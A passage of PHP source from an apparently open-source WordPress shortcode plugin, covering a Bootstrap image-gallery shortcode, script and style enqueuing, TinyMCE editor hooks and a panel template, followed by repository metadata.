apply_filters('post_gallery', '', $attr); if ($output != '') { return $output; } if ( isset( $attr['orderby'] ) ) { $attr['orderby'] = sanitize_sql_orderby( $attr['orderby'] ); if ( ! $attr['orderby'] ) { unset( $attr['orderby'] ); } } $gallery_atts = shortcode_atts( array( 'order' => 'ASC', 'orderby' => 'menu_order ID', 'id' => $post->ID, 'itemtag' => '', 'icontag' => '', 'captiontag' => '', 'columns' => 3, 'size' => 'thumbnail', 'include' => '', 'link' => '', 'exclude' => '' ), $attr); $id = intval( $gallery_atts["id"] ); if ( $gallery_atts["order"] === 'RAND') { $gallery_atts["orderby"] = 'none'; } // build args to get attachments $args = array( 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $gallery_atts["order"], 'orderby' => $gallery_atts["orderby"] ); if ( ! empty( $gallery_atts["include"] ) ) { $args['include'] = $gallery_atts["include"]; $_attachments = get_posts($args); $attachments = array(); foreach ($_attachments as $key => $val) { $attachments[$val->ID] = $_attachments[$key]; } } elseif ( ! empty( $gallery_atts["exclude"] ) ) { $args['post_parent'] = $gallery_atts["id"]; $args['exclude'] = $gallery_atts["exclude"]; $attachments = get_children($args); } else { $args['post_parent'] = $gallery_atts["id"]; $attachments = get_children($args); } if (empty($attachments)) { return ''; } if (is_feed()) { $output = "\n"; foreach ($attachments as $att_id => $attachment) { $output .= wp_get_attachment_link($att_id, $size, true) . "\n"; } return $output; } $cols = intval( $gallery_atts["columns"] ); if ( ! $cols ) { $cols = 3; } $item_class = ''; $container_class = ''; if ( $cols >= 6 ) { $container_class = " clear-md-2 clear-sm-4 clear-xs-6"; $item_class = "col-md-2 col-sm-4 col-xs-6"; } elseif ( $cols >= 4 ) { $container_class = " clear-md-3 clear-sm-4 clear-xs-6"; $item_class = "col-md-3 col-sm-4 col-xs-6"; } elseif ( 3 === $cols ) { $container_class = " clear-md-4 clear-sm-4 clear-xs-6"; $item_class = "col-md-4 col-sm-4 col-xs-6"; } elseif ( 2 === $cols ) { $container_class = " clear-xs-6"; $item_class = "col-xs-6"; } elseif ( 1 === $cols ) { $item_class = "col-xs-12"; } // enqueue scripts and styles wp_enqueue_script( 'toolkit-gallery-js', plugins_url( 'js/toolkit-gallery.js', __FILE__ ), array( 'jquery' ), self::$version, true ); wp_enqueue_style( 'toolkit-gallery-css', plugins_url( 'css/toolkit-gallery.css', __FILE__ ) ); // start output $output = sprintf('<!-- Gallery --><div class="tk-gallery container-fluid%s" data-featherlight-gallery data-featherlight-filter="a">', $container_class ); // start column output $count = 0; foreach ($attachments as $id => $attachment) { $image_src_url = wp_get_attachment_image_src($id, $gallery_atts["size"]); $image_link_url = wp_get_attachment_image_src($id, "large"); $image_caption = $attachment->post_excerpt; $output .= sprintf( '<div class="gallery-item %s"><a href="%s" rel="gallery"><img src="%s" alt="%s"></a><p class="gallery-item-caption">%s</p></div>', $item_class, esc_attr($image_link_url[0]), $image_src_url[0], esc_attr($attachment->post_title), $image_caption ) ; } $output .= '</div><!-- #Gallery -->'; return $output; } /* * Enqueue the additional scripts and styles used in the shortcode output */ public static function toolkit_shortcodes_script() { wp_enqueue_style( 'toolkit-shortcode-css', plugins_url( 'css/toolkit-shortcodes.css', __FILE__ ) ); wp_enqueue_script( 'toolkit-shortcode-js', plugins_url( 'js/toolkit-shortcodes.js', __FILE__ ), array( 'jquery' ), self::$version, true ); } /** * admin_scripts * Used to enqueue custom scripts and styles for admin * @return void */ public function admin_script() { wp_enqueue_style( 'tk_shortcodes_admin', plugins_url( 'css/toolkit-shortcodes-admin.css' , __FILE__ ) ); } /** * admin_head * adds MCE filters if rich editing is enabled */ public function admin_head() { // check user permissions if ( !current_user_can( 'edit_posts' ) && !current_user_can( 'edit_pages' ) ) { return; } // check if WYSIWYG is enabled if ( 'true' == get_user_option( 'rich_editing' ) ) { add_filter( 'mce_external_plugins', array( $this ,'mce_plugins' ), 100 ); add_filter( 'mce_buttons', array($this, 'mce_buttons' ), 100 ); } } /** * editor styles * loads additional style rules into tinymce editor */ public function editor_styles( $mce_css ) { if ( ! empty( $mce_css ) ) { $mce_css .= ','; } $mce_css .= plugins_url( 'css/toolkit-shortcodes-editor-style.css', __FILE__ ); return $mce_css; } /** * mce_plugins * Adds tinymce plugins which are added by shortcodes using the * tk_shortcodes_mce_plugins filter. * @param array $plugin_array * @return array */ public function mce_plugins( $plugin_array ) { $tk_plugins = apply_filters('tk_shortcodes_mce_plugins', array() ); if ( count( $tk_plugins ) ) { foreach ( $tk_plugins as $tk_plugin => $plugin_script ) { $plugin_array[$tk_plugin] = plugins_url( 'js/' . $plugin_script , __FILE__ ); } } return $plugin_array; } /** * mce_buttons * Adds any tinymce buttons defined in shortcodes - added by using the * tk_shortcodes_mce_buttons filter * @param array $buttons * @return array */ public function mce_buttons( $buttons ) { $tk_buttons = apply_filters('tk_shortcodes_mce_buttons', array() ); if ( count( $tk_buttons ) ) { foreach ( $tk_buttons as $tk_button ) { array_push( $buttons, $tk_button ); } } return $buttons; } /** * media_templates * Prints any media templates defined in shortcodes */ public function media_templates( $templates ) { foreach (glob(dirname(__FILE__) . "/templates/*.html") as $filename) { include_once $filename; } } } new tk_shortcodes(); }<file_sep><div class="panel panel-<?php echo esc_attr( $panel->type ); ?>"> <?php if ( ! empty( $panel->title ) ) : ?> <div class="panel-heading"><h3 class="panel-title"><?php echo esc_html( $panel->title ); ?></h3></div> <?php endif; ?> <div class="panel-body"><?php echo esc_html( $panel->content ); ?></div> <?php if ( ! empty( $panel->footer ) ) : ?> <div class="panel-footer"><?php echo esc_html( $panel->footer ); ?></div> <?php endif; ?> </div>
50dac4fd52451baee641928dc2b467c799a18b38
[ "Markdown", "JavaScript", "PHP" ]
9
Markdown
twak/toolkit-shortcodes
c922c7a2f10aeed5590393686ec9e4fe69d1414b
dd4962d79e7b90a219b6a12190df19f244fba2cf